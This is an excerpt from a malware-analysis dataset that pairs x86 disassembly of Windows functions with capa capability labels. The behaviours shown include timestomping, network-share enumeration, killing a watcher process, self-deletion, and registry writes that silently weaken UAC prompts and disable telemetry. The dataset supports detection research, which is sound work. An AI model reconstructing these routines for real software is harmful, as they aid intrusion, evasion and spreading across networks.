joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45dcf0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57b678
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
mov dword [ebp - 0x3c], ebx
push edi
push ebx
call fcn.0055e967
add esp, 8
test eax, eax
jne 0x45dd3a
mov eax, 1
jmp 0x45deaf
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x45deaf
mov ecx, edi
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
movq qword [ebp - 0x20], xmm0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45dd60
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ecx + 1]
push eax
lea ecx, [ebp - 0x20]
call fcn.0045e380
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
sub eax, esi
push edi
sar eax, 1
push eax
push esi
call fcn.0055a3d6
add esp, 0xc
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp byte [ebp + 8], 0
je 0x45ddeb
push 0
push 0x2000000
push 3
push 0
push 3
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x45ddeb
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
test ebx, ebx
jne 0x45de3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x45de7d
mov ecx, edi
call fcn.004710e0
push ebx
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
test ebx, ebx
jne 0x45de3d
mov ecx, esi
call fcn.004710e0
push ebx
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
test ebx, ebx
je 0x45de7d
cmp byte [ebp + 8], 0
je 0x45de7d
push 0
push 0x2000000
push 3
push 0
push 3
push 0x80000100
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x45de7d
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x45dead
mov ecx, dword [ebp - 0x18]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x45dea3
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45decb
push ecx
push esi
call fcn.00536da7
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
int3
Function at 0x45ecb0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57b740
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ecx
mov edi, dword [ebp + 0xc]
mov esi, edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x28], ecx
jb 0x45ed01
mov esi, dword [edi]
lea ebx, [eax + eax]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x45ed21
nop
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x45ed10
mov ebx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x18]
mov eax, dword [ebx + 0xc]
and ecx, edx
mov esi, dword [ebx + 4]
mov dword [ebp - 0x24], ecx
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1c], eax
cmp esi, dword [eax]
je 0x45eda1
mov esi, dword [eax + 4]
mov esi, dword [esi]
cmp esi, dword [eax]
je 0x45eda1
mov esi, dword [esi + 4]
cmp dword [esi + 0x1c], 8
lea edx, [esi + 8]
mov eax, dword [edx + 0x10]
jb 0x45ed56
mov edx, dword [edx]
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x45ed60
mov ecx, dword [edi]
cmp dword [edi + 0x10], eax
mov eax, dword [ebp - 0x1c]
jne 0x45ed41
push dword [edi + 0x10]
call fcn.00454330
add esp, 4
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x45ed41
mov eax, dword [ebp - 0x20]
mov dword [eax], esi
mov byte [eax + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebx + 4]
push edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax + 4]
push ecx
push eax
mov dword [ebp - 0x18], ecx
call fcn.0045bd80
mov edx, eax
mov ecx, 0x7fffffe
mov eax, dword [ebx + 8]
sub ecx, eax
cmp ecx, 1
jb 0x45ee5c
inc eax
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
mov edi, dword [ebx + 4]
mov edi, dword [edi]
mov dword [ebp - 0x18], edi
mov eax, dword [edi]
cmp esi, eax
je 0x45ee11
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov ecx, dword [eax + 4]
mov dword [ecx], esi
mov ecx, dword [esi + 4]
mov dword [ecx], edi
mov ecx, dword [eax + 4]
mov edx, dword [esi + 4]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov dword [edi + 4], edx
push dword [ebp - 0x24]
mov ecx, ebx
push esi
push edi
call fcn.0045bf60
mov ecx, ebx
mov dword [ebp - 4], 2
call fcn.0045bec0
mov eax, dword [ebp - 0x20]
mov dword [eax], edi
mov byte [eax + 4], 1
jmp 0x45ed83
push str.list_T__too_long
call fcn.00533fbe
int3
Function at 0x45ffb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4008
call fcn.00537550
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push edx
push ecx
push 0x5e2780
lea eax, [ebp - 0x4004]
mov dword [ebp - 0x4008], 0
push 0x2000
push eax
call fcn.0045f8c0
add esp, 0x14
lea ecx, [ebp - 0x4008]
add eax, eax
push 0
push ecx
push eax
lea eax, [ebp - 0x4004]
push eax
push dword [0x5f7c98]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
Function at 0x463340
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x70
push 2
push 1
push 0
call dword [sym.imp.USER32.dll_RegisterHotKey]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x20]
push 0
push 0
push 0
push eax
call edi
test eax, eax
je 0x463437
push ebx
mov ebx, dword [sym.imp.USER32.dll_UnregisterHotKey]
push esi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
cmp dword [ebp - 0x1c], 0x312
jne 0x463421
mov eax, dword [ebp - 0x18]
sub eax, 1
jne 0x463421
cmp byte [0x5f79f5], al
je 0x46341b
cmp byte [0x5f79f4], al
je 0x4633cf
mov al, byte [0x5ffad4]
and al, 1
mov byte [0x5f79f4], 0
mov byte [0x5fd98f], al
jmp 0x4633d4
mov al, byte [0x5fd98f]
test al, al
je 0x4633f0
push 0
push dword [0x5fd97c]
call esi
xor al, al
mov byte [0x5fd98f], al
mov byte [0x5fd98b], al
jmp 0x463421
call fcn.0045f7f0
push 5
push dword [0x5fd97c]
call esi
mov ecx, dword [0x5ffad4]
or ecx, 1
call fcn.0046add0
mov al, 1
mov byte [0x5fd98f], al
mov byte [0x5fd98b], al
jmp 0x463421
push 1
push 0
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
jne 0x463387
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00536b66
mov esp, ebp
pop ebp
ret
Function at 0x4644b0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, 1
lock xadd dword [0x5ffa60], esi
inc esi
push 0
push 0
dec esi
push esi
push 0x4643b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi*4 + 0x5ffa58], eax
pop esi
ret

Function at 0x464680
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x4645a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi*4 + 0x5ffa74], eax
pop esi
ret
Function at 0x466ba0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
movzx eax, byte [esi]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [esi + 1]
xor edx, eax
movzx eax, byte [esi + 2]
imul edx, edx, 0x1000193
xor edx, eax
movzx eax, byte [esi + 3]
imul ecx, edx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 4]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 5]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 6]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 7]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edi + 0x18]
imul ecx, ecx, 0x1000193
pop edi
pop esi
and eax, ecx
pop ebp
ret 4

Function at 0x4671b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57bf50
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push str.SYSTEMDRIVE
mov dword [ebp - 4], 0
call fcn.00559786
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x467210
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044b740
push 5
push str._temp
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00452fa0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x5e1f64
lea ecx, [ebp - 0x28]
call fcn.00452fa0
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
call fcn.00452fa0
lea eax, [ebp - 0x28]
mov ecx, 0x5f7d48
push dword [ebp - 0x18]
test esi, esi
je 0x46728a
mov ecx, 0x5f7d60
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0044b740
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4672ce
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4672c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x467333
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x467318
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46730e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x467338
push edx
push ecx
call fcn.00536da7
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
call fcn.00552841
int3
Function at 0x4673f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00537550
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov ecx, 1
mov edx, 0x5ffad0
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4674c1
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
mov esi, eax
test esi, esi
jle 0x4674c1
push 0x5ffab8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x5ffab4]
test cl, 2
je 0x46749d
mov edx, dword [0x5f7d44]
cmp edx, 0xffffffff
je 0x46749d
push 0
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x100c]
push eax
push edx
call esi
push 0
lea eax, [ebp - 0x1010]
push eax
push 4
push 0x5e2d90
push dword [0x5f7d44]
call esi
mov ecx, dword [0x5ffab4]
test cl, 1
je 0x4674b6
lea edx, [ebp - 0x100c]
call fcn.00469750
push eax
call fcn.00469a10
add esp, 4
push 0x5ffab8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.00536b66
mov esp, ebp
pop ebp
ret
Function at 0x467ae0
Capabilities:
Delete file

Disassembly:
test byte [0x5ffab4], 4
push ebx
mov bl, cl
je 0x467af9
push str._If_this_report_empty__all_checksum_match_
call fcn.004673f0
add esp, 4
cmp byte [0x5ff84d], 0
je 0x467b75
push 0x5ffab8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov ecx, 0x5ffad0
xchg dword [ecx], eax
mov eax, dword [0x5f7d44]
cmp eax, 0xffffffff
je 0x467b31
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x5f7d44], 0xffffffff
push 0x5ffab8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x5ffab8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
test bl, bl
je 0x467b6e
test byte [0x5ffab4], 2
je 0x467b6e
cmp dword [0x5f7d74], 8
mov eax, 0x5f7d60
cmovae eax, dword [0x5f7d60]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [0x5ff84d], 0
pop ebx
ret
Function at 0x46e880
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
push edi
push str.___Work_finished.
mov edi, ecx
call fcn.0046b090
add esp, 4
cmp dword [0x5fd990], 0
je 0x46e8f5
push 0x5e1c9c
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x14], 0x5e1c9c
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 0xa
push 0x4a
push dword [0x5fd990]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
or eax, 0xffffffff
mov ecx, 0x5fdfb0
xchg dword [ecx], eax
cmp byte [0x5fd989], 0
je 0x46e92c
mov esi, dword [0x5fdbb0]
test esi, esi
je 0x46e92c
push 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0x1d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push str.___CleanUp.
call fcn.0046b090
add esp, 4
call fcn.0047be90
push str.___Kill_watcher
call fcn.0046b090
add esp, 4
push dword [0x5fd980]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x46e974
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5fd987], 0
je 0x46e991
push str.___Self_del
call fcn.0046b090
add esp, 4
xor cl, cl
call fcn.00477340
call fcn.00463460
push str.Closing...
call fcn.0046b090
add esp, 4
call fcn.0046b360
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x46ed40
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x5f6ea4]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0xffffffff
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x2c], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x46ef17
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, 0x40
nop
push esi
push 8
push dword [0x5ffafc]
call edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x46ed90
lea ecx, [esp + 0x18]
push ecx
push eax
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x28]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x46eefb
xor ebx, ebx
cmp dword [esp + 0x20], ebx
jbe 0x46eedb
mov esi, dword [esp + 0x10]
add esi, 0x14
test byte [esi - 8], 2
je 0x46ede6
lea ecx, [esi - 0x14]
call fcn.0046ed40
jmp 0x46eec4
mov ecx, dword [esi]
mov edx, 4
call fcn.0045dfa0
mov edi, eax
mov ecx, edi
mov dword [esp + 0x14], edi
call fcn.00462e20
push dword [esi]
push str.___Found_Share_Path:__s
call fcn.0046b090
add esp, 8
cmp byte [0x5fd969], 0
je 0x46ee5a
mov edi, dword [0x5ff920]
lea ecx, [esp + 0x14]
push ecx
mov eax, dword [edi + 4]
push eax
push edi
mov dword [esp + 0x18], eax
call fcn.0045cb60
mov edx, dword [0x5ff924]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x46ef29
mov ecx, dword [esp + 0xc]
inc edx
mov dword [0x5ff924], edx
mov dword [edi + 4], eax
mov edi, dword [esp + 0x14]
mov dword [ecx], eax
cmp byte [0x5fd984], 0
je 0x46eec4
cmp byte [0x5fd975], 0
je 0x46eec4
mov eax, dword [esi]
sub esp, 0x18
mov edx, esp
mov dword [esp + 0x2c], eax
xor ecx, ecx
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], cx
lea ecx, [eax + 2]
mov dword [esp + 0x24], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x46ee91
sub eax, dword [esp + 0x24]
mov ecx, edx
sar eax, 1
push eax
push dword [esp + 0x30]
call fcn.0044b740
mov edx, edi
mov ecx, 1
call fcn.0047ae70
add esp, 0x18
mov ecx, edi
call fcn.00462ff0
cmp byte [0x5fd961], 0
jne 0x46ef17
inc ebx
add esi, 0x20
cmp ebx, dword [esp + 0x20]
jb 0x46edd3
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x28]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x46edc0
push dword [esp + 0x10]
push 0
push dword [0x5ffafc]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x1c]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.00533fbe
int3
Function at 0x46fdc0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5ff984], 0
push ebx
push esi
push edi
jne 0x46fdef
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
push str.___CreateHostTable...
call fcn.0046b090
mov eax, dword [0x5ff980]
add esp, 4
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
xor bl, bl
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
nop dword [eax]
push 0x20
mov byte [ebp - 0x19], bl
call fcn.00536d77
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov eax, 0x14
mov ecx, esi
nop dword [eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x46fe40
mov eax, dword [ebp - 0x1c]
push 1
push 0
push 0
push 6
push 1
mov dword [esi + 0x18], eax
push 2
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x46fe7f
push 0x20
push esi
call fcn.00536da7
add esp, 8
jmp 0x46ff10
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46fe87
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x46fec1
push dword [esi + 0x14]
call edi
push 0x20
push esi
call fcn.00536da7
add esp, 8
jmp 0x46ff10
push 0
push 2
push dword [0x5ffb1c]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x46feaf
mov esi, dword [0x5ff968]
lea eax, [ebp - 0x18]
push eax
mov edi, dword [esi + 4]
push edi
push esi
call fcn.0045cb60
mov edx, dword [0x5ff96c]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x46ff62
inc edx
mov dword [0x5ff96c], edx
mov dword [esi + 4], eax
mov dword [edi], eax
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
inc bl
cmp bl, 0xff
jb 0x46fe20
mov eax, dword [0x5ff980]
push 0xc
mov edx, dword [eax]
push edx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
dec dword [0x5ff984]
call fcn.00536da7
push 4
push dword [ebp - 0x20]
call fcn.00536da7
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00536b66
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.00533fbe
int3
Function at 0x471450
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesDataCollection
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4714af
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.AllowTelemetry
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret

Function at 0x4714c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 1
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlFileSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x47151f
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.LongPathsEnabled
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret

Function at 0x471530
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x10010
push str.ConsentPromptBehaviorAdmin
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x47157b
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4715ca
cmp eax, 5
je 0x4715ca
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 5
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4715ca
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
Function at 0x4715e0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 8
lea edx, [ebp - 8]
push ebx
push esi
push 0
push edx
push 0
push 0x20106
push 0
push 0
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x471640
cmp dword [ebp + 0x34], 8
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
mov edx, dword [ebp + 0x1c]
sete bl
cmp edx, 8
jb 0x471679
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47166f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4716d5
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x4716c3
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4716b9
